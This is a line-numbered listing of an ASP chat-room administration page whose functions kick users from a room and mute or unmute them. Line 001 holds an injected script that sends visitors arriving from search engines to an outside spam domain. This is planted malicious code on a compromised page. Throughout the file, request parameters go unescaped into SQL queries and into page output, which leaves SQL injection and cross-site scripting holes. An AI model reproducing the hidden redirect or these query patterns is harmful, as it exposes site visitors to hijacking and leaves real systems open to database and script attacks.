d:\wwwroot\wuchunhua\liaotianim\ManageRoom.asp

d:\wwwroot\wuchunhua\liaotianim\ManageRoom.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
002: <%
003: 'On Error Resume Next
004: response.charset="gb2312"
005: if Session(Session_UserID_Arg)="" then RW "<script>location.href='../"&Web_Log_URL&"';</script>":response.end()
006:
007:
008: function ajax()
009:     dim ir,rre,sex,VRS
010:     Set VRS=Server.CreateObject( "ADODB.Recordset" )
011:     Set VRS=DB_CONN.EXECUTE("delete from [XK_User_Online] where [Kick]=1 or datediff(second,[OL_End_Time],getdate())>=0")
012:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_User_Online] where [Room_ID]="&request("RoomID"))
013:     rre="<table class=""DataList"" width=""100%"" cellpadding=""0"" cellspacing=""0"" border=""0""><tr><td>序号</td><td>昵称</td><td>性别</td><td>操作</td></tr>"
014:     while (not ConfigRS.eof)
015:     ir=ir+1
016:     sex=""
017:     if Cstr(ConfigRS("User_Sex"))="0" then sex="<font color=blue>男</font>" else sex="<font color=red>女</font>" end if
018:     rre=rre+"<tr><td>"&ir&"</td><td><a href=""ViewMember.asp?UserID="&ConfigRS("User_ID")&""" target=""_blank"">"&GUInfo(ConfigRS("User_ID"),"User_NickName")&"</a></td>"
019:     rre=rre+"<td>"&sex&"</td><td><a href=""javascript:out('"&ConfigRS("User_ID")&"');"">踢出</a>  <a href=""javascript:cpm('"&ConfigRS("User_ID")&"');"">下麦</a>"
020:     if roomspeak(request("RoomID")) then
021:         rre=rre+"  "
022:         if UserIsAllowSpeak(request("RoomID"),ConfigRS("User_ID")) then
023:             rre=rre+"<a href='javascript:disspeak("&ConfigRS("User_ID")&")'><font color=green>允许发言</font>"
024:         else
025:             rre=rre+"<a href='javascript:allowspeak("&ConfigRS("User_ID")&")'><font color=red>已禁言</font>"
026:         end if
027:         rre=rre+"</a>  <a href='javascript:defaultspeak("&ConfigRS("User_ID")&");'>恢复默认设置</a></td></tr>"
028:     else
029:         rre=rre+"  "
030:         if UserIsDisSpeak(request("RoomID"),ConfigRS("User_ID")) then
031:             rre=rre+"<a href='javascript:allowspeak("&ConfigRS("User_ID")&")'><font color=red>已禁言</font>"
032:         else
033:             rre=rre+"<a href='javascript:disspeak("&ConfigRS("User_ID")&")'><font color=green>允许发言</font>"
034:         end if
035:         rre=rre+"</a>  <a href='javascript:defaultspeak("&ConfigRS("User_ID")&");'>恢复默认设置</a></td></tr>"
036:     end if
037:     ConfigRS.MoveNext
038:     wend
039:     rre=rre+"</table>"
040:     rw rre
041: end function
042:
043: function UserIsDisSpeak(roomid,userid)
044:     dim re,users,l
045:     re=false
046:         users=split(roominfo(roomid,"DisSpeakUserID"),",")
047:         for l=0 to Ubound(users)
048:             if users(l)=Cstr(userid) then re=true
049:         next
050:     UserIsDisSpeak=re
051: end function
052:
053: function UserIsAllowSpeak(roomid,userid)
054:     dim re,users,l
055:     re=false
056:         users=split(roominfo(roomid,"AllowSpeakUserID"),",")
057:         for l=0 to Ubound(users)
058:             if users(l)=Cstr(userid) then re=true
059:         next
060:     UserIsAllowSpeak=re
061: end function
062:
063: function roominfo(roomid,filename)
064:     dim lrs,re
065:     re=""
066:     set lrs=DB_CONN.EXECUTE("select * from [XK_Room] where [Room_ID]="&roomid)
067:     if lrs.recordcount >0 then
068:         re=lrs(filename)
069:     end if
070:     roominfo=re
071: end function
072:
073: 'true 禁言了 ,false未禁言
074: function roomspeak(roomid)
075:     dim lrs,re
076:     re=false
077:     set lrs=DB_CONN.EXECUTE("select * from [XK_Room] where [IsDisSpeak]=1 and [Room_ID]="&roomid)
078:     if lrs.recordcount >0 then
079:         re=true
080:     end if
081:     roomspeak=re
082: end function
083:
084: function out()
085:     DB_CONN.EXECUTE("delete from [XK_User_Online] where [User_ID]="&request("UID")&" and [Room_ID]="&request("RoomID"))
086:     rw " "
087: end function
088:
089: function disspeak()
090:     dim SysRS,re
091:     Set SysRS=Server.CreateObject( "ADODB.Recordset" )
092:     SysRS.open "select * from [XK_Room] where [Room_ID]="&request("RoomID") ,DB_CONN,1,3
093:     if SysRS.recordcount<1 then RW "alert('房间不存在!');":response.end
094:     if Cstr(SysRS("IsDisSpeak"))="0" then
095:         DB_CONN.EXECUTE("update [XK_Room] set [IsDisSpeak]=1 where [Room_ID]="&request("RoomID"))
096:         re="document.getElementById('SpeakStatus').innerHTML='<font color=red>禁止发言</font>';"
097:         Application.Lock()
098:         Application.contents("Rooms_"+request("RoomID")+"_IsDisSpeak")="1"
099:         Application.Unlock()
100:     else
101:         DB_CONN.EXECUTE("update [XK_Room] set [IsDisSpeak]=0 where [Room_ID]="&request("RoomID"))
102:         re="document.getElementById('SpeakStatus').innerHTML='<font>允许发言</font>';"
103:         Application.Lock()
104:         Application.contents("Rooms_"+request("RoomID")+"_IsDisSpeak")="0"
105:         Application.Unlock()
106:     end if
107:     RW re
108: end function
109:
110: function allowuserspeak()
111:     if UserIsAllowSpeak(request("RoomID"),request("UID"))=false then
112:         DB_CONN.EXECUTE("update [XK_Room] set [AllowSpeakUserID]=[AllowSpeakUserID]+'"&request("UID")&"'+',' where [Room_ID]="&request("RoomID"))
113:         DB_CONN.EXECUTE("update [XK_Room] set [DisSpeakUserID]=REPLACE([DisSpeakUserID],',"&request("UID")&",',',') where [Room_ID]="&request("RoomID"))
114:         Application.Lock()
115:         Application.contents("Rooms_"+request("RoomID")+"_AllowSpeakUserID")=Application.contents("Rooms_"+request("RoomID")+"_AllowSpeakUserID")+request("UID")+","
116:         Application.contents("Rooms_"+request("RoomID")+"_DisSpeakUserID")=replace(Application.contents("Rooms_"+request("RoomID")+"_DisSpeakUserID"),request("UID")+",","")
117:         Application.Unlock()
118:     end if
119: end function
120:
121:
122: function disuserspeak()
123:     if UserIsDisSpeak(request("RoomID"),request("UID"))=false then
124:         DB_CONN.EXECUTE("update [XK_Room] set [DisSpeakUserID]=[DisSpeakUserID]+'"&request("UID")&"'+',' where [Room_ID]="&request("RoomID"))
125:         DB_CONN.EXECUTE("update [XK_Room] set [AllowSpeakUserID]=REPLACE([AllowSpeakUserID],',"&request("UID")&",',',') where [Room_ID]="&request("RoomID"))
126:         Application.Lock()
127:         Application.contents("Rooms_"+request("RoomID")+"_DisSpeakUserID")=Application.contents("Rooms_"+request("RoomID")+"_DisSpeakUserID")+request("UID")+","
128:         Application.contents("Rooms_"+request("RoomID")+"_AllowSpeakUserID")=replace(Application.contents("Rooms_"+request("RoomID")+"_AllowSpeakUserID"),request("UID")+",","")
129:         Application.Unlock()
130:     end if
131: end function
132:
133:
134: function defaultspeak()
135:     DB_CONN.EXECUTE("update [XK_Room] set [DisSpeakUserID]=REPLACE([DisSpeakUserID],',"&request("UID")&",',',') where [Room_ID]="&request("RoomID"))
136:     DB_CONN.EXECUTE("update [XK_Room] set [AllowSpeakUserID]=REPLACE([AllowSpeakUserID],',"&request("UID")&",',',') where [Room_ID]="&request("RoomID"))
137:     Application.Lock()
138:         Application.contents("Rooms_"+request("RoomID")+"_DisSpeakUserID")=replace(Application.contents("Rooms_"+request("RoomID")+"_DisSpeakUserID"),request("UID")+",","")
139:         Application.contents("Rooms_"+request("RoomID")+"_AllowSpeakUserID")=replace(Application.contents("Rooms_"+request("RoomID")+"_AllowSpeakUserID"),request("UID")+",","")
140:     Application.Unlock()
141: end function
142:
143: function GUInfo(UserID,FiledName)
144:     dim SysRS
145:     Set SysRS=Server.CreateObject( "ADODB.Recordset" )
146:     Set SysRS=DB_CONN.EXECUTE("select * from [XK_User_Info] where [User_ID]="&UserID)
147:     GUInfo=SysRS(FiledName)
148: end function
149:
150: Dim ConfigRS,RoomName,RoomDisSpeak
151: Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
152: Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Room] where [Room_ID]="&request("RoomID"))
153: RoomName=ConfigRS("Room_Name")
154: RoomDisSpeak=ConfigRS("IsDisSpeak")
155: if Trim(Cstr(ConfigRS("Room_Admin_UserID")))<>Cstr(Session(Session_UserID_Arg)) then
156:     RW "<script>alert('你不是该房间管理员!请不要尝试非法操作!');location.href='MyRoomList.asp';</script>":response.end()
157: end if
158:
159: Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_User_Online] where [Room_ID]="&request("RoomID"))
160:
161: if request("t")<>"" then ajax():response.end
162: if request("o")<>"" then out():response.end
163: if request("s")<>"" then disspeak():response.end
164: if request("a")<>"" then allowuserspeak():response.end
165: if request("d")<>"" then disuserspeak():response.end
166: if request("f")<>"" then defaultspeak():response.end
167: %>
168:
169: <html>
170: <head>
171: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
172: <title><%=SysConfig("System_Name")%></title>
173: <meta name="keywords" content="ImChat V1.5 Power By XKnet.net">
174: <meta name="description" content="ImChat V1.5 Power By XKnet.net">
175: <link href="CSS_Custom/style.css" rel="stylesheet" type="text/css" />
176: <link href="system_manage/styles/applyroom.css" rel="stylesheet" type="text/css" />
177: <style>
178:    *{font-family:"微软雅黑";}
179:    .body{ background-image:url(images/RoomBg.jpg); background-repeat:no-repeat; background-position:center 100px;}
180:    .btn{background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) repeat-x top; border: 1px solid #0D87AE!important; color: #fff; font-size: 11px; padding: 7px 10px; boirder-radius: 7px; -moz-border-radius: 7px; font-weight: 700; border: none;}
181:     .btn:hover {background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) 0 -50px; border: 1px solid #005977; cursor: pointer;}
182:     .inputbox{height:26px;}
183:     .leftnav li{text-align:center;}
184:     .leftnav li a{margin-left:20px;margin-bottom:5px;text-align:center;display:block;height:64px;line-height:64px;}
185:     .leftnav li a:hover{background-position:bottom left;}
186:     .UserInfo{background: url(images/userinfo.png) no-repeat top left;}
187:     .UserRoom{background: url(images/UserRoom.png) no-repeat top left;}
188:     .UserFriend{background: url(images/UserFriend.png) no-repeat top left;}
189:     .title{background: url(images/titlebg.png) no-repeat 0px -20px;height:300px;text-align:center;width:35px;color:#333;padding-top:20px;letter-spacing:6px;*padding-top:0px !important;_padding-top:20px;padding-left:3px;line-height:18px;color:#555;}
190:     .title span{background: url(images/dot.png) no-repeat;padding-top:20px;width:15px;}
191:     .UserPhoto{width:100px;height:100px;margin-top:1px;margin-left:1px;}
192:     .photodiv{float:left;width:102px;*width:104px; height:102px;*height:104px;border:#ccc solid 1px;}
193:     .line{clear:both;line-height:5px;height:5px;}
194:     .text{background: none repeat scroll 0 0 transparent;border: 0 none;background-position: 0 -72px;border: 1px solid #C1C1C1;color:#444444;font-size: 14px;height: 30px;padding: 4px 5px 4px 0;width: 300px;padding-left:10px;}
195:     .itemtitle{float:left;height:28px;width:40px;line-height:28px;border:#ddd solid 1px;margin-right:3px;background: url(images/glassbg.png) bottom left no-repeat;text-align:center;color:#999}
196:     textarea{border: 1px solid #C1C1C1;background: none repeat scroll 0 0 transparent;width:300px;}
197:     select{height:30px;border: 1px solid #C1C1C1;background: none repeat scroll 0 0 transparent;}
198:     .radio{}
199:     .btn-ok{background-image: url("images/global.png");background-color: transparent;background-position: 0 -288px;border: 0 none;cursor: pointer;height: 39px;margin: 10px 20px 10px 0;vertical-align: middle;width: 76px;margin-left:45px;}
200:
201:    .RoomList{ width:80%; text-align:center; margin:0 auto; padding-top:20px;}
202:    .RoomList{ width:80%; text-align:center; margin:0 auto; padding-top:20px;}
203:
204:     .DataList{border-top:#ccc solid 1px;border-left:#ccc solid 1px;}
205:     .DataList td {border-right:#ccc solid 1px;border-bottom:#ccc solid 1px;}
206:     .png{}
207:
208:     div{border:#ccc solid 0px;}
209: </style>
210: <script type="text/javascript" src="js_custom/swfobject.js"></script>
211: <script>
212: //获取Flash对象
213: function getSWF(movieName)
214: {
215:     if (navigator.appName.indexOf("Microsoft") != -1)
216:     {
217:         return window[movieName];
218:     }
219:     else
220:     {
221:         return document[movieName];
222:     }
223: }
224: //ajax 获取页面
225: function CreateXMLHttpRequest()
226: {
227:    // Initialize Mozilla XMLHttpRequest object
228:    var xmlHttp;
229:    if (window.XMLHttpRequest)
230:    {
231:        xmlHttp = new XMLHttpRequest();
232:    }
233:    // Initialize for IE/Windows ActiveX version
234:    else if (window.ActiveXObject)
235:    {
236:        try
237:        {
238:                 xmlHttp = new ActiveXObject("Msxml2.XMLHTTP.3.0");
239:          }
240:        catch (e)
241:        {
242:                 try
243:                 {
244:                      xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
245:                 }
246:                 catch(e)
247:                 {
248:                      newsstring = "对不起，您的浏览器不支持XMLHttpRequest对象！";}
249:           }
250:    }
251:    return xmlHttp;
252: }
253:
254: function getdata()
255: {
256:     var strtime = getDataTimes();
257:    var url="manageroom.asp?t=1&RoomID=<%=request("RoomID")%>&"+strtime;
258:    var xmlHttp=CreateXMLHttpRequest();
259:     xmlHttp.open("GET", url, true);
260:    xmlHttp.onreadystatechange = function()
261:    {
262:       if (xmlHttp.readyState == 4 && xmlHttp.status == 200 && xmlHttp.responseText!="")
263:       {//alert(xmlHttp.responseText);
264:             document.getElementById("tb").innerHTML = xmlHttp.responseText;
265:       }
266:    }
267:     xmlHttp.setRequestHeader("If-Modified-Since","0");
268:     xmlHttp.send(null);
269:
270: }
271:
272: function outf(userid)
273: {
274:     var strtime = getDataTimes();
275:    var url="manageroom.asp?o=1&RoomID=<%=request("RoomID")%>&uid="+userid+"&"+strtime;
276:    var xmlHttp=CreateXMLHttpRequest();
277:     xmlHttp.open("GET", url, true);
278:    xmlHttp.onreadystatechange = function()
279:    {
280:       if (xmlHttp.readyState == 4 && xmlHttp.status == 200 )
281:       {
282:             getdata();
283:       }
284:    }
285:     xmlHttp.setRequestHeader("If-Modified-Since","0");
286:     xmlHttp.send(null);
287: }
288:
289: //生成时间
290: function getDataTimes()
291: {
292:    var strDate,strTime;
293:    strDate = new Date();
294:    strTime = strDate.getTime();
295:    return strTime;
296: }
297: //开启智能推送
298: function DisClient(paramstr)
299: {
300:         var strtime = getDataTimes();
301:         var swfVersionStr = "10.0.0";
302:         var xiSwfUrlStr = "playerProductInstall.swf";
303:         var flashvars = {};
304:         var params = {};
305:         params.quality = "high";
306:         params.wmode = "transparent";
307:         params.allowscriptaccess = "sameDomain";
308:         params.allowfullscreen = "true";
309:         var attributes = {};
310:         attributes.id = "MsgClient";
311:         attributes.name = "MsgClient";
312:         attributes.align = "middle";
313:         swfobject.embedSWF("swf/MsgClient.swf?"+paramstr+"&"+strtime, "msgclientdiv","1", "1", swfVersionStr, xiSwfUrlStr, flashvars, params, attributes);
314: }
315: function cpm(userid){
316:     getSWF("MsgClient").MPost("Cpm",userid);
317: }
318:
319: function out(userid){
320:     getSWF("MsgClient").MPost("Out",userid);
321:     outf(userid);
322: }
323: function DisSpeak()
324: {
325:     var strtime = getDataTimes();
326:    var url="manageroom.asp?S=1&RoomID=<%=request("RoomID")%>&"+strtime;
327:    var xmlHttp=CreateXMLHttpRequest();
328:     xmlHttp.open("GET", url, true);
329:    xmlHttp.onreadystatechange = function()
330:    {
331:       if (xmlHttp.readyState == 4 && xmlHttp.status == 200 && xmlHttp.responseText!="")
332:       {
333:             eval(xmlHttp.responseText);
334:             getdata();
335:       }
336:    }
337:     xmlHttp.setRequestHeader("If-Modified-Since","0");
338:     xmlHttp.send(null);
339: }
340: function allowspeak(userid)
341: {
342:     var strtime = getDataTimes();
343:    var url="manageroom.asp?a=1&RoomID=<%=request("RoomID")%>&uid="+userid+"&"+strtime;
344:    var xmlHttp=CreateXMLHttpRequest();
345:     xmlHttp.open("GET", url, true);
346:    xmlHttp.onreadystatechange = function()
347:    {
348:       if (xmlHttp.readyState == 4 && xmlHttp.status == 200 )
349:       {
350:             getdata();
351:       }
352:    }
353:     xmlHttp.setRequestHeader("If-Modified-Since","0");
354:     xmlHttp.send(null);
355: }
356: function disspeak(userid)
357: {
358:     var strtime = getDataTimes();
359:    var url="manageroom.asp?d=1&RoomID=<%=request("RoomID")%>&uid="+userid+"&"+strtime;
360:    var xmlHttp=CreateXMLHttpRequest();
361:     xmlHttp.open("GET", url, true);
362:    xmlHttp.onreadystatechange = function()
363:    {
364:       if (xmlHttp.readyState == 4 && xmlHttp.status == 200 )
365:       {
366:             getdata();
367:       }
368:    }
369:     xmlHttp.setRequestHeader("If-Modified-Since","0");
370:     xmlHttp.send(null);
371: }
372: function defaultspeak(userid)
373: {
374:     var strtime = getDataTimes();
375:    var url="manageroom.asp?f=1&RoomID=<%=request("RoomID")%>&uid="+userid+"&"+strtime;
376:    var xmlHttp=CreateXMLHttpRequest();
377:     xmlHttp.open("GET", url, true);
378:    xmlHttp.onreadystatechange = function()
379:    {
380:       if (xmlHttp.readyState == 4 && xmlHttp.status == 200 )
381:       {
382:             getdata();
383:       }
384:    }
385:     xmlHttp.setRequestHeader("If-Modified-Since","0");
386:     xmlHttp.send(null);
387: }
388: </script>
389: </head>
390: <body>
391: <table class="body" width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
392:   <tr height="70px">
393:     <td style="text-align:center;"><div class="top">
394:    <div style="width:90%; margin:0 auto;"><a href="index.html" style="float:left;"><img src="images/logo.gif" border="0" /></a>
395:     <a href="inc/ValidLogin.asp?Out=true" title="退出" class="logout"></a>
396:     <a href="javascript:\\;" title="加入浏览器收藏夹" onClick="window.external.AddFavorite(location.href,document.title);" class="fav"></a>
397:     <a href="RoomList.asp" title="房间列表" class="RList"></a>
398:     <a href="Member.asp" title="用户中心" class="user"></a>
399:     <a href="Pay.asp" title="充值" class="pay"></a>
400:     </div>
401:     </div></td>
402:   </tr>
403:   <tr>
404:     <td valign="top">
405:         <div style="float:left;width:7%;text-algin:center;min-width:85px;_width:85px;_overflow:visible;">
406:             <ul class="leftnav">
407:                 <li><a href="Member.asp" title="我的资料" class="png UserInfo"></a></li>
408:                 <li><a href="MyRoomList.asp" title="我的房间" class="png UserRoom"></a></li>
409:                 <li><a href="#" title="我的好友" class="png UserFriend"></a></li>
410:             </ul>
411:         </div>
412:         <div style="float:left;width:4%;text-align:center;">
413:             <div style="width:100%;margin:0 auto;">
414:                 <div class="title png">
415:                     <span class="png">管理 · <%=RoomName%></span>
416:                 </div>
417:             </div>
418:         </div>
419:         <div style="float:left;width:78%;text-align:center;">
420:             <div style="width:90%;margin:0 auto;text-align:left;padding-top:30px;">
421:                 <div id="msgclientdiv"></div>
422:                 <center><a href="javascript:getdata();">刷新</a>  <a id="SpeakStatus" href="javascript:DisSpeak()"><%if cstr(RoomDisSpeak)="0" then RW "允许发言" else RW "<font color=red>禁止发言</font>" end if %></a></center>
423:                 <div id="tb" class="RoomList" style="text-align:left;">
424:                     <table class="DataList" width="100%" cellpadding="0" cellspacing="0" border="0">
425:                         <tr>
426:                             <td>序号</td>
427:                             <td>昵称</td>
428:                             <td>性别</td>
429:                             <td>操作</td>
430:                         </tr>
431:                         <%
432:                         dim ir
433:                         while (not ConfigRS.eof)
434:                         ir=ir+1
435:                         %>
436:                         <tr>
437:                             <td><%=ir%></td>
438:                             <td><a href="ViewMember.asp?UserID=<%=ConfigRS("User_ID")%>" target="_blank"><%=GUInfo(ConfigRS("User_ID"),"User_NickName")%></a></td>
439:                             <td><%if Cstr(ConfigRS("User_Sex"))="0" then RW "<font color=blue>男</font>" else RW "<font color=red>女</font>" end if%></td>
440:                             <td><a href="javascript:out('<%=ConfigRS("User_ID")%>');">踢出</a>  <a href="javascript:cpm('<%=ConfigRS("User_ID")%>');">下麦</a></td>
441:                         </tr>
442:                         <%
443:                         ConfigRS.MoveNext
444:                         wend
445:                         %>
446:                     </table>
447:                 </div>
448:
449:             </div>
450:         </div>
451:     </td>
452:   </tr>
453: </table>
454: 
460:
461:
462: </body>
463: <script>
464: DisClient("UserName=RoomAdmin&UserID=Admin&GroupFix=<%=SysConfig("SysFix")%>&GroupID=<%=request("RoomID")%>");
465: window.setInterval( "getdata();" , 5000 );
466: getdata();
467: </script>
468: </html>
469:
470: